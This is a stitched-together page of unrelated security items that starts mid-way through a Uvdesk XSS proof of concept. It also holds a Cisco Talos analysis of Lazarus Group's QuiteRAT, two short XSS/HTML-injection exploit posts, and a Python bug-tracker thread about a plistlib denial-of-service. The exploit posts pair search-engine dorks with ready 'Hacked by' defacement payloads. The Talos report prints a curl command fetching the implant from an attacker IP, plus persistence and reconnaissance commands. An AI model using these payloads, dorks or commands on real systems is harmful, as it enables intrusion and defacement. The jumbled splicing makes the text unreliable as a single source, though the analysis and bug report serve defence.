name="nextView"stay------WebKitFormBoundaryXCjJcGbgZxZWLsSk-------------------------------------------------------------------------------------------------------------------------Res:-----------------------------------------------------------------------------------------------------------------------HTTP/1.1 302 FoundDate: Mon, 14 Aug 2023 11:33:26 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29X-Powered-By: PHP/7.4.29Cache-Control: max-age=0, must-revalidate, privateLocation: /uvdesk/public/en/member/ticket/view/1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,POST,PUT,OPTIONSAccess-Control-Allow-Headers: Access-Control-Allow-OriginAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Headers: Content-TypeX-Debug-Token: bf1b73X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/bf1b73X-Robots-Tag: noindexExpires: Mon, 14 Aug 2023 11:33:26 GMTSet-Cookie: sf_redirect=%7B%22token%22%3A%22bf1b73%22%2C%22route%22%3A%22helpdesk_member_add_ticket_thread%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22Webkul%5C%5CUVDesk%5C%5CCoreFrameworkBundle%5C%5CController%5C%5CThread%22%2C%22method%22%3A%22saveThread%22%2C%22file%22%3A%22C%3A%5C%5Cxampp2%5C%5Chtdocs%5C%5Cuvdesk%5C%5Cvendor%5C%5Cuvdesk%5C%5Ccore-framework%5C%5CController%5C%5CThread.php%22%2C%22line%22%3A44%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D; path=/; httponly; samesite=laxConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 398<!DOCTYPE html><html>    <head>        <meta charset="UTF-8" />        <meta http-equiv="refresh" content="0;url='/uvdesk/public/en/member/ticket/view/1'" />        <title>Redirecting to /uvdesk/public/en/member/ticket/view/1</title>    </head>    <body>        Redirecting to <a href="/uvdesk/public/en/member/ticket/view/1">/uvdesk/public/en/member/ticket/view/1</a>.    </body></html>-----------------------------------------------------------------------------------------------------------------------Redirect and view response:-----------------------------------------------------------------------------------------------------------------------HTTP/1.1 200 OKDate: Mon, 14 Aug 2023 11:44:14 GMTServer: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29X-Powered-By: PHP/7.4.29Cache-Control: max-age=0, must-revalidate, privateAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET,POST,PUT,OPTIONSAccess-Control-Allow-Headers: Access-Control-Allow-OriginAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Headers: Content-TypeX-Debug-Token: 254ce8X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/254ce8X-Robots-Tag: noindexExpires: Mon, 14 Aug 2023 11:44:14 GMTConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 300607<!DOCTYPE html><html>    <head>        <title>#1 vvvvvvvvvvvvvvvvvvvvv</title>[...]<p><embed src=" A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" width="300" height="150"></embed></p>[...]-----------------------------------------------------------------------------------------------------------------------XSS execute, we can reply ticket to victim. This payload can use in new articles, tickets, all application.

Uvdesk 1.1.4 Cross Site Scripting

This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.

Thursday, August 24, 2023 08:08

*   Cisco Talos discovered the North Korean state-sponsored actor Lazarus Group targeting internet backbone infrastructure and healthcare entities in Europe and the United States. This is the third documented campaign attributed to this actor in less than a year, with the actor reusing the same infrastructure throughout these operations.  
    
*   In this campaign, the attackers began exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966) five days after PoCs for the exploit were publicly disclosed to deliver and deploy a newer malware threat we track as “QuiteRAT.” Security researchers first discovered this implant in February, but little has been written on it since then.  
    
*   QuiteRAT has many of the same capabilities as Lazarus Group’s better-known MagicRAT malware, but its file size is significantly smaller. Both implants are built on the Qt framework and include capabilities such as arbitrary command execution.  
    
*   Lazarus Group’s increasing use of the Qt framework creates challenges for defenders. It increases the complexity of the malware’s code, making human analysis more difficult compared to threats created using simpler programming languages such as C/C++, DOT NET, etc. Furthermore, since Qt is rarely used in malware development, machine learning and heuristic analysis detection against these types of threats are less reliable.

**Lazarus Group compromises internet backbone infrastructure company in Europe  
**

In early 2023, we observed Lazarus Group successfully compromise an internet backbone infrastructure provider in Europe to successfully deploy QuiteRAT. The actors exploited a vulnerable ManageEngine ServiceDesk instance to gain initial access. The successful exploitation triggered the immediate download and execution of a malicious binary via the Java runtime process. We observed Lazarus Group use the cURL command to immediately deploy the QuiteRAT binary from a malicious URL:

curl hxxp[://]146[.]4[.]21[.]94/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe

The IP address 146\[.\]4\[.\]21\[.\]94 has been used by Lazarus since at least May 2022.

A successful download of the binary leads to the execution of the QuiteRAT binary by the Java process, resulting in the activation of the implant on the infected server. Once the implant starts running, it sends out preliminary system information to its command and control (C2) servers and then waits on the C2 to respond with either a command code to execute or an actual Windows command to execute on the endpoint via a child cmd.exe process. Some of the initial commands executed by QuiteRAT on the endpoint are for reconnaissance:

Command

Intent

C:\\windows\\system32\\cmd.exe /c systeminfo | findstr Logon

Get logon server name (machine name). System Information Discovery \[T1082\]

C:\\windows\\system32\\cmd.exe /c ipconfig | findstr Suffix

Domain name for the system. Domain discovery \[T1087/002\]

There is no in-built persistence mechanism in QuiteRAT. Persistence for the implant is achieved via the registry by issuing the following command to QuiteRAT:

C:\Windows\system32\cmd[.]exe /c sc create WindowsNotification type= own type= interact start= auto error= ignore binpath= cmd /K start c:\users\public\notify[.]exe

A typical infection chain looks like this:

**Lazarus Group evolves malicious arsenal with QuiteRAT**

QuiteRAT is a fairly simple remote access trojan (RAT). It consists of a compact set of statically linked Qt libraries along with some user-written code. The Qt framework is a platform for developing cross-platform applications. However, it is immensely popular for developing Graphical User Interface in applications. Although QuiteRAT, just like MagicRAT, uses embedded Qt libraries, none of these implants have a Graphical User Interface. .As seen with Lazarus Group’s MagicRAT malware, the use of Qt increases the code complexity, making human analysis harder. Using Qt also makes machine learning and heuristic analysis detection less reliable, since Qt is rarely used in malware development.

Based on QuiteRAT’s technical characteristics, including the usage of the Qt framework, we assess that this implant belongs to the previously disclosed MagicRAT family. QuiteRAT was briefly discussed in WithSecure’s report from early 2023. The new campaign we’re disclosing exploited a ManageEngine ServiceDesk vulnerability (CVE-2022-47966) — which has a Kenna risk score of 100 out of 100 — to deploy QuiteRAT.

The implant initially gathers some rudimentary information about the infected endpoint, including MAC addresses, IP addresses, and the current user name of the device. This information is then arranged in the format:

<MAC_address><IP_address>[0];<MAC_address><IP_address>[1];...<MAC_address><IP_address>[n];<username>

The resulting string is then used to calculate an MD4 hash, which is then used as the infection identifier (victim identifier) while conversing with the C2 server.

All the networking-related configurations, such as the C2 URLs and extended URI parameters, are encoded and stored in the malware. The strings are XOR’ed with 0x78 and then base64 encoded. This technique is in line with WithSecure’s analysis from earlier this year.

Configuration strings encoded in the malware.

The URL to communicate with the C2 is constructed as follows with the following extended URI parameters:

Parameter names

Values

Description

mailid

<12 chars from MD4>

The first 12 characters from the MD4 of the information gathered from the endpoint (described earlier)

action

“inbox” = send check beacon  
“sent” = data is being sent to C2

Signifies the action being taken

body

<base64\_xorred\_data>

Data to be sent to C2.

param

<Internal/Local IP address>

The internal/LAN IP address of the infected endpoint.

session

<rand>

Pseudo-random number generated by the implant.

The URL for the HTTP GET to obtain inputs from the C2 looks like this:

<C2_URL>/mailid=<12chars_MD4>&**action=inbox**&param=<Internal/Local_IP_address>&session=<rand>

Data is also sent to the C2 using the HTTP GET VERB as well. The URL for the HTTP GET to send data to the C2 looks like this:

<C2_URL>/mailid=<12chars_MD4>&**action=sent&body=<base64_xorred_data>**param=<Internal/Local_IP_address>&session=<rand>

Any data sent to the C2 is utmost 0x400 (1,024) bytes in length. If the output of a command executed on the endpoint by the implant is larger than 1,024 bytes, the implant appends the < No Pineapple! > marker at the end of the data.

The User-Agent used during communications by the implant is

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

The malware also has the ability to run a ping command on a random IP address that it generates on the fly. The request is usually executed using the command <compspec_path>\cmd.exe /c <IP_Address> -n 18 &:  

Ping command being constructed by the implant including the octets for a random IP.

The implant can also receive a command code “sendmail” along with a numeric value from the C2 server. This value is then used by the implant to Sleep for a specific period of time (in minutes) before it begins talking to the C2 server again. The adversaries likely use this functionality to keep the implant dormant for longer periods of time while ensuring continued access to the compromised enterprise network.

The implant also has the ability to receive a second URL from the current C2 server via the command code receivemail. The implant will then reach out to the second URL to receive commands and payloads from the server to execute on the infected system.

We have seen the following versions of QuiteRAT in the wild. We are only able to share one of the file hashes at this time, which is included in the IOCs section:

QuiteRAT binary name

Compile date

notify.exe (32bit)

May 30, 2022

acres.exe

July 22, 2022

acres.exe (64bit)

July 25, 2022

The latest version of Lazarus Group’s older MagicRAT implant observed in the wild was compiled in April 2022. This is the last version of MagicRAT that we know of. The use of MagicRAT’s derivative implant, QuiteRAT, beginning in May 2023 suggests the actor is changing tactics, opting for a smaller, more compact Qt-based implant.

**QuiteRAT vs MagicRAT**

QuiteRAT is clearly an evolution of MagicRAT. While MagicRAT is a bigger, bulkier malware family averaging around 18MB in size, QuiteRAT is a much much smaller implementation, averaging around 4 to 5MB in size. This substantial difference in size is due to Lazarus Group incorporating only a handful of required Qt libraries into QuiteRAT, as opposed to MagicRAT, in which they embedded the entire Qt framework. Furthermore, while MagicRAT consists of persistence mechanisms implemented in it via the ability to set up scheduled tasks, QuiteRAT does not have a persistence capability and needs to be issued one by the C2 server to achieve continued operation on the infected endpoint. This is another contributing factor to the smaller size of QuiteRAT.

There are similarities between the implants that indicate that QuiteRAT is a derivative of MagicRAT. Apart from being built on the Qt framework, both implants consist of the same abilities, including running arbitrary commands on the infected system. Both implants also use base64 encoding to obfuscate their strings with an additional measure, such as XOR or prepending hardcoded data, to make it difficult to decode the strings automatically. Additionally, both implants use similar functionality to allow them to remain dormant on the endpoint by specifying a sleep period for them by the C2 server.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCs**

IOCs for this research can also be found at our Github repository here.  

**Hashes  
****QuiteRAT**

ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6  

**Networks IOCs  
**

146\[.\]4\[.\]21\[.\]94

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/comp\[.\]dat

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/log\[.\]php

hxxp\[://\]146\[.\]4\[.\]21\[.\]94/tmp/tmp/logs\[.\]php

hxxp\[://\]ec2-15-207-207-64\[.\]ap-south-1\[.\]compute\[.\]amazonaws\[.\]com/resource/main/rawmail\[.\]php

Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRAT

G and G Corporate CMS version 1.0 suffers from a cross site scripting vulnerability.

**G And G Corporate CMS 1.0 Cross Site Scripting**

Posted Aug 23, 2023

Authored by indoushka

G and G Corporate CMS version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | ec7e6459653c2e6f1683c120c47e58e61d870a911a466497ef2ef99455a30669

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**G And G Corporate CMS 1.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : G&G Corporate CMS v1.0  XSS Vulnerability                                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : http://gegweb.it                                                                                                   |  | # Dork      : intext:Powered by Studio G&G Corporate Communication site:it                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /prodotti.php?LANG=2&id=prodotti&CAT=1'<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://priolinoxit/prodotti.php?LANG=2&id=prodotti&CAT=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

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G And G Corporate CMS 1.0 Cross Site Scripting

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

**FreshRSS 1.11.1 HTML Injection**

Posted Aug 23, 2023

Authored by indoushka

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

tags | exploit

SHA-256 | c789b4001ff7c396e22af1e82b8f9c8c3a4f13f593828eb66d0a73226d79294b

Download | Favorite | View

**FreshRSS 1.11.1 HTML Injection**

    ====================================================================================================================================| # Title     : FreshRSS v1.11.1 Html Inject Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://freshrss.org/                                                                                              |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  https://demo127.0.0.1/freshrssorg/i/?c=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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FreshRSS 1.11.1 HTML Injection

read_ints in plistlib.py in Python through 3.9.1 is vulnerable to a potential DoS attack via CPU and RAM exhaustion when processing malformed Apple Property List files in binary format.

Created on **2020-10-21 00:25** by **wessen**, last changed **2022-04-11 14:59** by **admin**. This issue is now **closed**.

Pull Requests

URL

Status

Linked

Edit

PR 22882

merged

serhiy.storchaka, 2020-10-22 09:27

PR 23115

merged

miss-islington, 2020-11-02 21:02

PR 23116

merged

serhiy.storchaka, 2020-11-02 21:17

PR 23117

merged

serhiy.storchaka, 2020-11-02 21:26

PR 23118

merged

serhiy.storchaka, 2020-11-02 21:40

Messages (12)

msg379175 - (view)

Author: Robert Wessen (wessen)

Date: 2020-10-21 00:25

In versions of Python from 3.4-3.10, the Python core plistlib library supports Apple's binary plist format. When given malformed input, the implementation can be forced to create an argument to struct.unpack() which consumes all available CPU and memory until a MemError is thrown as it builds the 'format' argument to unpack().

This can be seen with the following malformed example binary plist input:

\`\`\`
$ xxd binary\_plist\_dos.bplist
00000000: 6270 6c69 7374 3030 d101 0255 614c 6973  bplist00...UaLis
00000010: 74a5 0304 0506 0000 00df 4251 4351 44a3  t.........BQCQD.
00000020: 0809 0a10 0110 0210 0308 0b11 1719 1b1d  ................
00000030: 0000 0101 0000 0000 0000 000b 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0029            ...........)

\`\`\`
The error is reached in the following lines of plistlib.py:
(https://github.com/python/cpython/blob/e9959c71185d0850c84e3aba0301fbc238f194a9/Lib/plistlib.py#L485)

\`\`\`
    def \_read\_ints(self, n, size):
        data = self.\_fp.read(size \* n)
        if size in \_BINARY\_FORMAT:
            return struct.unpack('>' + \_BINARY\_FORMAT\[size\] \* n, data)
\`\`\`
When the malicious example above is opened by plistlib, it results in 'n' being controlled by the input and it can be forced to be very large. Plistlib attempts to build a string which is as long as 'n', consuming excessive resources.

Apple's built in utilities for handling plist files detects this same file as malformed and will not process it.

msg379238 - (view)

Author: Ronald Oussoren (ronaldoussoren) \* 

Date: 2020-10-21 19:44

Thanks for the report. I can reproduce the issue.

msg379243 - (view)

Author: Ronald Oussoren (ronaldoussoren) \* 

Date: 2020-10-21 20:12

One Apple implementation of binary plist parsing is here: https://opensource.apple.com/source/CF/CF-550/CFBinaryPList.c.

That seems to work from a buffer (or mmap) of the entire file, making consistency checks somewhat easier, and I don't think they have a hardcoded limit on the number of items in the plist (but: it's getting late and might have missed that).

An easy fix for this issue is to limit the amount of values read by \_read\_ints, but that immediately begs the question what that limit should be. It is clear that 1B items in the array is too much (in this case 1B object refs for dictionary keys). 

I don't know what a sane limit would be. The largest plist file on my system is 10MB. Limiting \*n\* to 20M would be easily enough to parse that file, and doesn't consume too much memory (about 160MB for the read buffer at most). 

Another thing the current code doesn't do is check that the "ref" argument to \_read\_object is in range. That's less problematic because the code will raise an exception regardless (IndexErrox, instead of the nicer InvalidFileException).

msg379255 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-10-21 21:36

There are two issues here.

The simple one is building a large format string for struct.unpack(). It has simple solution: use f'>{n}{\_BINARY\_FORMAT\[size\]}'.

The hard issue is that read(n) allocates n bytes in memory even if there are not so many bytes in the file. It affects not only plistlib and should be fixed in the file implementation itself. There is an open issue for this.

msg379283 - (view)

Author: Ronald Oussoren (ronaldoussoren) \* 

Date: 2020-10-22 09:40

Serhiy, thanks. Just the change in the format string would fix this particular example.

I see you're working on a PR with better validation. The current state of the draft looks good to me, but I haven't checked yet if there are other potential problems that can be added to the list of invalid binary plists.

msg379285 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-10-22 09:47

PR 22882 fixes problem in \_read\_ints(), adds validation for string size, and adds many tests for mailformed binary Plists.

There may be problems with recursive collections. I'll try to solve them too.

msg379286 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-10-22 09:59

No, with recursive collections all is good.

Then I'll just add a NEWS entry and maybe few more tests.

msg380250 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-11-02 21:02

New changeset 34637a0ce21e7261b952fbd9d006474cc29b681f by Serhiy Storchaka in branch 'master':
bpo-42103: Improve validation of Plist files. (GH-22882)
https://github.com/python/cpython/commit/34637a0ce21e7261b952fbd9d006474cc29b681f

msg380252 - (view)

Author: miss-islington (miss-islington)

Date: 2020-11-02 21:34

New changeset e277cb76989958fdbc092bf0b2cb55c43e86610a by Miss Skeleton (bot) in branch '3.9':
bpo-42103: Improve validation of Plist files. (GH-22882)
https://github.com/python/cpython/commit/e277cb76989958fdbc092bf0b2cb55c43e86610a

msg380265 - (view)

Author: Serhiy Storchaka (serhiy.storchaka) \* 

Date: 2020-11-03 07:32

New changeset 547d2bcc55e348043b2f338027c1acd9549ada76 by Serhiy Storchaka in branch '3.8':
\[3.8\] bpo-42103: Improve validation of Plist files. (GH-22882) (GH-23116)
https://github.com/python/cpython/commit/547d2bcc55e348043b2f338027c1acd9549ada76

msg380703 - (view)

Author: Ned Deily (ned.deily) \* 

Date: 2020-11-10 19:54

New changeset 225e3659556616ad70186e7efc02baeebfeb5ec4 by Serhiy Storchaka in branch '3.7':
\[3.7\] bpo-42103: Improve validation of Plist files. (GH-22882) (#23117)
https://github.com/python/cpython/commit/225e3659556616ad70186e7efc02baeebfeb5ec4

msg380704 - (view)

Author: Ned Deily (ned.deily) \* 

Date: 2020-11-10 19:57

New changeset a63234c49b2fbfb6f0aca32525e525ce3d43b2b4 by Serhiy Storchaka in branch '3.6':
\[3.6\] bpo-42103: Improve validation of Plist files. (GH-22882) (GH-23118)
https://github.com/python/cpython/commit/a63234c49b2fbfb6f0aca32525e525ce3d43b2b4

History

Date

User

Action

Args

2022-04-11 14:59:37

admin

set

nosy: + pablogsal  
github: 86269  

2020-11-10 20:17:26

serhiy.storchaka

set

status: open -> closed  
resolution: fixed  
stage: patch review -> resolved

2020-11-10 19:57:41

ned.deily

set

messages: + msg380704

2020-11-10 19:54:25

ned.deily

set

messages: + msg380703

2020-11-03 07:33:40

serhiy.storchaka

set

priority: normal -> release blocker  
nosy: + lukasz.langa  

2020-11-03 07:32:31

serhiy.storchaka

set

messages: + msg380265

2020-11-02 21:40:36

serhiy.storchaka

set

pull\_requests: + pull\_request22035

2020-11-02 21:34:51

miss-islington

set

messages: + msg380252

2020-11-02 21:26:43

serhiy.storchaka

set

pull\_requests: + pull\_request22034

2020-11-02 21:17:38

serhiy.storchaka

set

pull\_requests: + pull\_request22033

2020-11-02 21:02:11

miss-islington

set

nosy: + miss-islington  
pull\_requests: + pull\_request22032  

2020-11-02 21:02:11

serhiy.storchaka

set

messages: + msg380250

2020-10-22 09:59:32

serhiy.storchaka

set

messages: + msg379286

2020-10-22 09:47:54

serhiy.storchaka

set

messages: + msg379285

2020-10-22 09:40:45

ronaldoussoren

set

messages: + msg379283

2020-10-22 09:27:10

serhiy.storchaka

set

keywords: + patch  
stage: patch review  
pull\_requests: + pull\_request21822

2020-10-21 21:36:41

serhiy.storchaka

set

messages: + msg379255

2020-10-21 20:12:55

ronaldoussoren

set

messages: + msg379243

2020-10-21 19:44:21

ronaldoussoren

set

messages: + msg379238

2020-10-21 01:06:46

ned.deily

set

keywords: + security\_issue  
nosy: + ronaldoussoren, ned.deily, serhiy.storchaka

components: + Library (Lib), - Interpreter Core  
title: DoS (MemError via CPU and RAM exhaustion) when processing malformed Apple Property List files in binary format -> \[security\] DoS (MemError via CPU and RAM exhaustion) when processing malformed Apple Property List files in binary format

2020-10-21 00:25:11

wessen

create

Tag

#apple